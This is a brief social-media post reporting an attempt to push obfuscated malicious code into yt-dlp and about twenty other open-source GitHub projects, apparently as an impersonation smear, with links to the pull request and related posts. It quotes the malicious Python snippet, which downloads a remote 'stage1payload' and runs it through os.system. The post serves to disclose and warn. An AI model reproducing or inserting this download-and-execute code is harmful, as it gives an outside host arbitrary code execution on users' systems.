Untitled attachment

Notices where this attachment appears

1. DarkMahesvara (darkmahesvara@varishangout.net)'s status on Thursday, 14-Nov-2024 08:11:53 JST DarkMahesvara
   someone tried to commit obviously obfuscated malicious code to yt-dlp, stable diffusion, streamlink, qutebrowser, ungoogle chromium and about 20 other github projects. apparently mostly a impersonation attack used to smear.
   
   code:
   'import os\nimport urllib\nimport urllib.request\nx = urllib.request.urlopen("https://www(.)evildojo.com/stage1payload")\ny = x.read()\nz = y\x04\x06decode("utf8")\nx.close()\nos.system(z)\n'
   
   https://web.archive.org/web/20241112105911/https://github.com/yt-dlp/yt-dlp/pull/11520
   
   https://xcancel.com/vxunderground/status/1856450468945506615
   
   https://xcancel.com/evildojo666/status/1856413636748562827